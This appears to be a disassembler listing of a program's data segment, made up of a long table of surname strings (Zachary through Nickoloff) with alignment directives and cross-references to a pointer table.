aZachary db 'Zachary',0 ; DATA XREF: seg002:0043D734o
aYu db 'Yu',0 ; DATA XREF: seg002:0043D730o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:0043D72Co
align 4
aYoo db 'Yoo',0 ; DATA XREF: seg002:0043D728o
aYoffe db 'Yoffe',0 ; DATA XREF: seg002:0043D724o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: seg002:0043D720o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: seg002:0043D71Co
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: seg002:0043D718o
aYbarra db 'Ybarra',0 ; DATA XREF: seg002:0043D714o
align 4
aYates db 'Yates',0 ; DATA XREF: seg002:0043D710o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:0043D70Co
aYankee db 'Yankee',0 ; DATA XREF: seg002:0043D708o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: seg002:0043D704o
align 4
aYacono db 'Yacono',0 ; DATA XREF: seg002:0043D700o
align 10h
aVotey db 'Votey',0 ; DATA XREF: seg002:0043D6FCo
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:0043D6F8o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:0043D6F4o
align 10h
aWoods db 'Woods',0 ; DATA XREF: seg002:0043D6F0o
align 4
aWooden db 'Wooden',0 ; DATA XREF: seg002:0043D6ECo
align 10h
aWoo db 'Woo',0 ; DATA XREF: seg002:0043D6E8o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:0043D6E4o
align 10h
aWolk db 'Wolk',0 ; DATA XREF: seg002:0043D6E0o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: seg002:0043D6DCo
align 10h
aViviani db 'Viviani',0 ; DATA XREF: seg002:0043D6D8o
aVitali db 'Vitali',0 ; DATA XREF: seg002:0043D6D4o
align 10h
aWilson db 'Wilson',0 ; DATA XREF: seg002:0043D6D0o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:0043D6CCo
aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:0043D6C8o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:0043D6C4o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: seg002:0043D6C0o
align 4
aWilk db 'Wilk',0 ; DATA XREF: seg002:0043D6BCo
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:0043D6B8o
aWilder db 'Wilder',0 ; DATA XREF: seg002:0043D6B4o
align 4
aVignola db 'Vignola',0 ; DATA XREF: seg002:0043D6B0o
aViens db 'Viens',0 ; DATA XREF: seg002:0043D6ACo
align 4
aWiener db 'Wiener',0 ; DATA XREF: seg002:0043D6A8o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:0043D6A4o
aViano db 'Viano',0 ; DATA XREF: seg002:0043D6A0o
align 4
aViana db 'Viana',0 ; DATA XREF: seg002:0043D69Co
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:0043D698o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: seg002:0043D694o
align 4
aWhite db 'White',0 ; DATA XREF: seg002:0043D690o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: seg002:0043D68Co
aWhately db 'Whately',0 ; DATA XREF: seg002:0043D688o
aWetzel db 'Wetzel',0 ; DATA XREF: seg002:0043D684o
align 4
aWescott db 'Wescott',0 ; DATA XREF: seg002:0043D680o
aVerghese db 'Verghese',0 ; DATA XREF: seg002:0043D67Co
align 4
aVenne db 'Venne',0 ; DATA XREF: seg002:0043D678o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: seg002:0043D674o
aWelsh db 'Welsh',0 ; DATA XREF: seg002:0043D670o
align 10h
aWelles db 'Welles',0 ; DATA XREF: seg002:0043D66Co
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:0043D668o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: seg002:0043D664o
align 10h
aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:0043D660o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:0043D65Co
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:0043D658o
; seg002:off_43FE84o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: seg002:0043D654o
align 10h
aWaugh db 'Waugh',0 ; DATA XREF: seg002:0043D650o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: seg002:0043D64Co
aWasowska db 'Wasowska',0 ; DATA XREF: seg002:0043D648o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:0043D644o
; seg001:00432E18o
align 4
dword_430058 dd 686E6156h ; DATA XREF: seg002:0043D640o
aEeckeren db 'eeckeren',0 ; DATA XREF: seg002:off_43E4D0o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:0043D63Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:0043D638o
aVanallen db 'vanAllen',0 ; DATA XREF: seg002:0043D634o
align 4
aWalter db 'Walter',0 ; DATA XREF: seg002:0043D630o
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:0043D62Co
align 4
aWales db 'Wales',0 ; DATA XREF: seg002:0043D628o
align 4
aValencia db 'Valencia',0 ; DATA XREF: seg002:0043D624o
align 10h
aValberg db 'Valberg',0 ; DATA XREF: seg002:0043D620o
aWaite db 'Waite',0 ; DATA XREF: seg002:0043D61Co
align 10h
aVacca db 'Vacca',0 ; DATA XREF: seg002:0043D618o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: seg002:0043D614o
align 10h
aUsdan db 'Usdan',0 ; DATA XREF: seg002:0043D610o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:0043D60Co
align 4
aUrban db 'Urban',0 ; DATA XREF: seg002:0043D608o
align 10h
aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:0043D604o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:0043D600o
align 4
aUllman db 'Ullman',0 ; DATA XREF: seg002:0043D5FCo
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:0043D5F8o
align 4
aTwells db 'Twells',0 ; DATA XREF: seg002:0043D5F4o
align 10h
aTuttle db 'Tuttle',0 ; DATA XREF: seg002:0043D5F0o
align 4
aTurek db 'Turek',0 ; DATA XREF: seg002:0043D5ECo
align 10h
aTurano db 'Turano',0 ; DATA XREF: seg002:0043D5E8o
align 4
aTukan db 'Tukan',0 ; DATA XREF: seg002:0043D5E4o
align 10h
aTudge db 'Tudge',0 ; DATA XREF: seg002:0043D5E0o
align 4
aTuck db 'Tuck',0 ; DATA XREF: seg002:0043D5DCo
align 10h
aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:0043D5D8o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: seg002:0043D5D4o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:0043D5D0o
aTruss db 'Truss',0 ; DATA XREF: seg002:0043D5CCo
align 4
aTroy db 'Troy',0 ; DATA XREF: seg002:0043D5C8o
align 10h
aTroiani db 'Troiani',0 ; DATA XREF: seg002:0043D5C4o
aTringali db 'Tringali',0 ; DATA XREF: seg002:0043D5C0o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: seg002:0043D5BCo
align 4
aTrenga db 'Trenga',0 ; DATA XREF: seg002:0043D5B8o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: seg002:0043D5B4o
align 10h
aToye db 'Toye',0 ; DATA XREF: seg002:0043D5B0o
align 4
aTowler db 'Towler',0 ; DATA XREF: seg002:0043D5ACo
align 10h
aTorske db 'Torske',0 ; DATA XREF: seg002:0043D5A8o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: seg002:0043D5A4o
aTopulos db 'Topulos',0 ; DATA XREF: seg002:0043D5A0o
aToomer db 'Toomer',0 ; DATA XREF: seg002:0043D59Co
align 10h
aTomford db 'Tomford',0 ; DATA XREF: seg002:0043D598o
aTolman db 'Tolman',0 ; DATA XREF: seg002:0043D594o
align 10h
aTolls db 'Tolls',0 ; DATA XREF: seg002:0043D590o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:0043D58Co
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: seg002:0043D588o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: seg002:0043D584o
aTill db 'Till',0 ; DATA XREF: seg002:0043D580o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: seg002:0043D57Co
aThroop db 'Throop',0 ; DATA XREF: seg002:0043D578o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: seg002:0043D574o
aThisted db 'Thisted',0 ; DATA XREF: seg002:0043D570o
aThibault db 'Thibault',0 ; DATA XREF: seg002:0043D56Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: seg002:0043D568o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:0043D564o
align 4
aThan db 'Than',0 ; DATA XREF: seg002:0043D560o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: seg002:0043D55Co
align 4
aTenney db 'Tenney',0 ; DATA XREF: seg002:0043D558o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: seg002:0043D554o
align 4
aTemes db 'Temes',0 ; DATA XREF: seg002:0043D550o
align 10h
aTeague db 'Teague',0 ; DATA XREF: seg002:0043D54Co
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:0043D548o
align 4
aTawn db 'Tawn',0 ; DATA XREF: seg002:0043D544o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: seg002:0043D540o
aTatar db 'Tatar',0 ; DATA XREF: seg002:0043D53Co
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:0043D538o
align 4
aTandler db 'Tandler',0 ; DATA XREF: seg002:0043D534o
aTambiah db 'Tambiah',0 ; DATA XREF: seg002:0043D530o
aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:0043D52Co
align 4
aTai db 'Tai',0 ; DATA XREF: seg002:0043D528o
aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:0043D524o
aSwindle db 'Swindle',0 ; DATA XREF: seg002:0043D520o
aSweetser db 'Sweetser',0 ; DATA XREF: seg002:0043D51Co
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: seg002:0043D518o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: seg002:0043D514o
align 4
aSuo db 'Suo',0 ; DATA XREF: seg002:0043D510o
aSumner db 'Sumner',0 ; DATA XREF: seg002:0043D50Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: seg002:0043D508o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: seg002:0043D504o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: seg002:0043D500o
aStrauch db 'Strauch',0 ; DATA XREF: seg002:0043D4FCo
aStrange db 'Strange',0 ; DATA XREF: seg002:0043D4F8o
aStott db 'Stott',0 ; DATA XREF: seg002:0043D4F4o
align 4
aStorer db 'Storer',0 ; DATA XREF: seg002:0043D4F0o
align 4
aStonich db 'Stonich',0 ; DATA XREF: seg002:0043D4ECo
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:0043D4E8o
aStockwell db 'Stockwell',0 ; DATA XREF: seg002:0043D4E4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: seg002:0043D4E0o
align 10h
aStock db 'Stock',0 ; DATA XREF: seg002:0043D4DCo
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: seg002:0043D4D8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: seg002:0043D4D4o
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:0043D4D0o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:0043D4CCo
aStephanian db 'Stephanian',0 ; DATA XREF: seg002:0043D4C8o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: seg002:0043D4C4o
aStefani db 'Stefani',0 ; DATA XREF: seg002:0043D4C0o
aStatlender db 'Statlender',0 ; DATA XREF: seg002:0043D4BCo
align 4
aStates db 'States',0 ; DATA XREF: seg002:0043D4B8o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:0043D4B4o
align 4
aStang db 'Stang',0 ; DATA XREF: seg002:0043D4B0o
align 4
aStam db 'Stam',0 ; DATA XREF: seg002:0043D4ACo
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: seg002:0043D4A8o
aStmartin db 'StMartin',0 ; DATA XREF: seg002:0043D4A4o
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:0043D4A0o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:0043D49Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:0043D498o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: seg002:0043D494o
align 4
aSperber db 'Sperber',0 ; DATA XREF: seg002:0043D490o
aSpence db 'Spence',0 ; DATA XREF: seg002:0043D48Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: seg002:0043D488o
aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:0043D484o
align 10h
aSparrow db 'Sparrow',0 ; DATA XREF: seg002:0043D480o
aSpanier db 'Spanier',0 ; DATA XREF: seg002:0043D47Co
aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:0043D478o
align 4
aSoule db 'Soule',0 ; DATA XREF: seg002:0043D474o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: seg002:0043D470o
align 4
aSottak db 'Sottak',0 ; DATA XREF: seg002:0043D46Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: seg002:0043D468o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: seg002:0043D464o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: seg002:0043D460o
align 4
aSomers db 'Somers',0 ; DATA XREF: seg002:0043D45Co
align 4
aSolon db 'Solon',0 ; DATA XREF: seg002:0043D458o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: seg002:0043D454o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:0043D450o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: seg002:0043D44Co
aSmilow db 'Smilow',0 ; DATA XREF: seg002:0043D448o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: seg002:0043D444o
align 10h
aSloan db 'Sloan',0 ; DATA XREF: seg002:0043D440o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: seg002:0043D43Co
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: seg002:0043D438o
align 4
aSkane db 'Skane',0 ; DATA XREF: seg002:0043D434o
align 10h
aSites db 'Sites',0 ; DATA XREF: seg002:0043D430o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: seg002:0043D42Co
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:0043D428o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:0043D424o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: seg002:0043D420o
align 4
aSigna db 'Signa',0 ; DATA XREF: seg002:0043D41Co
align 4
aSigini db 'Sigini',0 ; DATA XREF: seg002:0043D418o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: seg002:0043D414o
aSiesto db 'Siesto',0 ; DATA XREF: seg002:0043D410o
align 4
aShimon db 'Shimon',0 ; DATA XREF: seg002:0043D40Co
align 4
aShibata db 'Shibata',0 ; DATA XREF: seg002:0043D408o
aShia db 'Shia',0 ; DATA XREF: seg002:0043D404o
align 4
aShesko db 'Shesko',0 ; DATA XREF: seg002:0043D400o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: seg002:0043D3FCo
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: seg002:0043D3F8o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: seg002:0043D3F4o
align 4
aSheats db 'Sheats',0 ; DATA XREF: seg002:0043D3F0o
align 10h
aShea db 'Shea',0 ; DATA XREF: seg002:0043D3ECo
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: seg002:0043D3E8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: seg002:0043D3E4o
aShar db 'Shar',0 ; DATA XREF: seg002:0043D3E0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: seg002:0043D3DCo
aShankland db 'Shankland',0 ; DATA XREF: seg002:0043D3D8o
align 4
aShakis db 'Shakis',0 ; DATA XREF: seg002:0043D3D4o
align 10h
aShaikh db 'Shaikh',0 ; DATA XREF: seg002:0043D3D0o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:0043D3CCo
aSexton db 'Sexton',0 ; DATA XREF: seg002:0043D3C8o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:0043D3C4o
align 4
aSennett db 'Sennett',0 ; DATA XREF: seg002:0043D3C0o
aSen db 'Sen',0 ; DATA XREF: seg002:0043D3BCo
aSelvage db 'Selvage',0 ; DATA XREF: seg002:0043D3B8o
aSekler db 'Sekler',0 ; DATA XREF: seg002:0043D3B4o
align 10h
aSegal db 'Segal',0 ; DATA XREF: seg002:0043D3B0o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: seg002:0043D3ACo
align 10h
aSeaton db 'Seaton',0 ; DATA XREF: seg002:0043D3A8o
align 4
aScudder db 'Scudder',0 ; DATA XREF: seg002:0043D3A4o
aScovel db 'Scovel',0 ; DATA XREF: seg002:0043D3A0o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:0043D39Co
aSchwan db 'Schwan',0 ; DATA XREF: seg002:0043D398o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:0043D394o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: seg002:0043D390o
aSchuman db 'Schuman',0 ; DATA XREF: seg002:0043D38Co
aSchossberger db 'Schossberger',0 ; DATA XREF: seg002:0043D388o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: seg002:0043D384o
aSchilling db 'Schilling',0 ; DATA XREF: seg002:0043D380o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: seg002:0043D37Co
align 4
aSchiano db 'Schiano',0 ; DATA XREF: seg002:0043D378o
aScheiner db 'Scheiner',0 ; DATA XREF: seg002:0043D374o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:0043D370o
aScharf db 'Scharf',0 ; DATA XREF: seg002:0043D36Co
align 10h
aScepan db 'Scepan',0 ; DATA XREF: seg002:0043D368o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: seg002:0043D364o
align 4
aSayied db 'Sayied',0 ; DATA XREF: seg002:0043D360o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: seg002:0043D35Co
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:0043D358o
align 4
aSatta db 'Satta',0 ; DATA XREF: seg002:0043D354o
align 4
aSatin db 'Satin',0 ; DATA XREF: seg002:0043D350o
align 4
aSase db 'Sase',0 ; DATA XREF: seg002:0043D34Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: seg002:0043D348o
aSarin db 'Sarin',0 ; DATA XREF: seg002:0043D344o
align 4
aSapers db 'Sapers',0 ; DATA XREF: seg002:0043D340o
align 4
aSanna db 'Sanna',0 ; DATA XREF: seg002:0043D33Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:0043D338o
aSamson db 'Samson',0 ; DATA XREF: seg002:0043D334o
align 4
aSali db 'Sali',0 ; DATA XREF: seg002:0043D330o
align 4
aSahu db 'Sahu',0 ; DATA XREF: seg002:0043D32Co
align 4
aSafire db 'Safire',0 ; DATA XREF: seg002:0043D328o
align 4
aSadler db 'Sadler',0 ; DATA XREF: seg002:0043D324o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: seg002:0043D320o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: seg002:0043D31Co
aRush db 'Rush',0 ; DATA XREF: seg002:0043D318o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0043D314o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: seg002:0043D310o
align 4
aRuan db 'Ruan',0 ; DATA XREF: seg002:0043D30Co
align 4
aRu db 'Ru',0 ; DATA XREF: seg002:0043D308o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: seg002:0043D304o
align 4
aRow db 'Row',0 ; DATA XREF: seg002:0043D300o
aRonen db 'Ronen',0 ; DATA XREF: seg002:0043D2FCo
align 4
aRogers db 'Rogers',0 ; DATA XREF: seg002:0043D2F8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: seg002:0043D2F4o
aRocha db 'Rocha',0 ; DATA XREF: seg002:0043D2F0o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: seg002:0043D2ECo
align 4
aRivera db 'Rivera',0 ; DATA XREF: seg002:0043D2E8o
align 10h
aRish db 'Rish',0 ; DATA XREF: seg002:0043D2E4o
align 4
aRineer db 'Rineer',0 ; DATA XREF: seg002:0043D2E0o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: seg002:0043D2DCo
align 4
aRielly db 'Rielly',0 ; DATA XREF: seg002:0043D2D8o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: seg002:0043D2D4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: seg002:0043D2D0o
align 4
aResnik db 'Resnik',0 ; DATA XREF: seg002:0043D2CCo
align 4
aRepetto db 'Repetto',0 ; DATA XREF: seg002:0043D2C8o
aRenick db 'Renick',0 ; DATA XREF: seg002:0043D2C4o
align 4
aRemak db 'Remak',0 ; DATA XREF: seg002:0043D2C0o
align 4
aReinold db 'Reinold',0 ; DATA XREF: seg002:0043D2BCo
aCunningham db 'Cunningham',0 ; DATA XREF: seg002:0043D2B8o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: seg002:0043D2B4o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:0043D2B0o
align 4
aRayport db 'Rayport',0 ; DATA XREF: seg002:0043D2ACo
aRapple db 'Rapple',0 ; DATA XREF: seg002:0043D2A8o
align 4
aRankin db 'Rankin',0 ; DATA XREF: seg002:0043D2A4o
align 4
aRangan db 'Rangan',0 ; DATA XREF: seg002:0043D2A0o
align 4
aRaney db 'Raney',0 ; DATA XREF: seg002:0043D29Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:0043D298o
aRadeke db 'Radeke',0 ; DATA XREF: seg002:0043D294o
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: seg002:0043D290o
align 4
aRabe db 'Rabe',0 ; DATA XREF: seg002:0043D28Co
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: seg002:0043D288o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: seg002:0043D284o
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: seg002:0043D280o
aPugh db 'Pugh',0 ; DATA XREF: seg002:0043D27Co
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: seg002:0043D278o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:0043D274o
align 4
aProietti db 'Proietti',0 ; DATA XREF: seg002:0043D270o
align 4
aPritz db 'Pritz',0 ; DATA XREF: seg002:0043D26Co
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: seg002:0043D268o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: seg002:0043D264o
aPreucel db 'Preucel',0 ; DATA XREF: seg002:0043D260o
aPresper db 'Presper',0 ; DATA XREF: seg002:0043D25Co
aPowers db 'Powers',0 ; DATA XREF: seg002:0043D258o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: seg002:0043D254o
aPoma db 'Poma',0 ; DATA XREF: seg002:0043D250o
align 4
aPolitis db 'Politis',0 ; DATA XREF: seg002:0043D24Co
aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:0043D248o
aPolak db 'Polak',0 ; DATA XREF: seg002:0043D244o
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: seg002:0043D240o
aPointer db 'Pointer',0 ; DATA XREF: seg002:0043D23Co
aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:0043D238o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0043D234o
align 4
aPo db 'Po',0 ; DATA XREF: seg002:0043D230o
align 4
aPlous db 'Plous',0 ; DATA XREF: seg002:0043D22Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: seg002:0043D228o
aPlant db 'Plant',0 ; DATA XREF: seg002:0043D224o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: seg002:0043D220o
aPinot db 'Pinot',0 ; DATA XREF: seg002:0043D21Co
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:0043D218o
aPfister db 'Pfister',0 ; DATA XREF: seg002:0043D214o
aPettit db 'Pettit',0 ; DATA XREF: seg002:0043D210o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: seg002:0043D20Co
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:0043D208o
align 4
aPeters db 'Peters',0 ; DATA XREF: seg002:0043D204o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:0043D200o
align 4
aPerone db 'Perone',0 ; DATA XREF: seg002:0043D1FCo
align 10h
aPerna db 'Perna',0 ; DATA XREF: seg002:0043D1F8o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: seg002:0043D1F4o
aPerlak db 'Perlak',0 ; DATA XREF: seg002:0043D1F0o
align 4
aPerko db 'Perko',0 ; DATA XREF: seg002:0043D1ECo
align 10h
aPereira db 'Pereira',0 ; DATA XREF: seg002:0043D1E8o
aPenny db 'Penny',0 ; DATA XREF: seg002:0043D1E4o
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: seg002:0043D1E0o
aPederson db 'Pederson',0 ; DATA XREF: seg002:0043D1DCo
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:0043D1D8o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: seg002:0043D1D4o
aPaynter db 'Paynter',0 ; DATA XREF: seg002:0043D1D0o
aPawloski db 'Pawloski',0 ; DATA XREF: seg002:0043D1CCo
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: seg002:0043D1C8o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0043D1C4o
aPattullo db 'Pattullo',0 ; DATA XREF: seg002:0043D1C0o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: seg002:0043D1BCo
aPatefield db 'Patefield',0 ; DATA XREF: seg002:0043D1B8o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: seg002:0043D1B4o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: seg002:0043D1B0o
align 4
aParris db 'Parris',0 ; DATA XREF: seg002:0043D1ACo
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:0043D1A8o
aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:0043D1A4o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: seg002:0043D1A0o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:0043D19Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: seg002:0043D198o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:0043D194o
align 4
aPallara db 'Pallara',0 ; DATA XREF: seg002:0043D190o
aPalepu db 'Palepu',0 ; DATA XREF: seg002:0043D18Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:0043D188o
align 10h
aPaine db 'Paine',0 ; DATA XREF: seg002:0043D184o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:0043D180o
align 4
aOvid db 'Ovid',0 ; DATA XREF: seg002:0043D17Co
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: seg002:0043D178o
aOtten db 'Otten',0 ; DATA XREF: seg002:0043D174o
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:0043D170o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:0043D16Co
align 4
aOspina db 'Ospina',0 ; DATA XREF: seg002:0043D168o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: seg002:0043D164o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: seg002:0043D160o
aOray db 'Oray',0 ; DATA XREF: seg002:0043D15Co
align 4
aOpel db 'Opel',0 ; DATA XREF: seg002:0043D158o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0043D154o
aOman db 'Oman',0 ; DATA XREF: seg002:0043D150o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:0043D14Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:0043D148o
align 4
aOlson db 'Olson',0 ; DATA XREF: seg002:0043D144o
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: seg002:0043D140o
align 4
aOldford db 'Oldford',0 ; DATA XREF: seg002:0043D13Co
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:0043D138o
aOh db 'Oh',0 ; DATA XREF: seg002:0043D134o
align 4
aOgata db 'Ogata',0 ; DATA XREF: seg002:0043D130o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: seg002:0043D12Co
aNuzum db 'Nuzum',0 ; DATA XREF: seg002:0043D128o
align 4
aNotman db 'Notman',0 ; DATA XREF: seg002:0043D124o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: seg002:0043D120o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: seg002:0043D11Co
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:0043D118o
align 10h
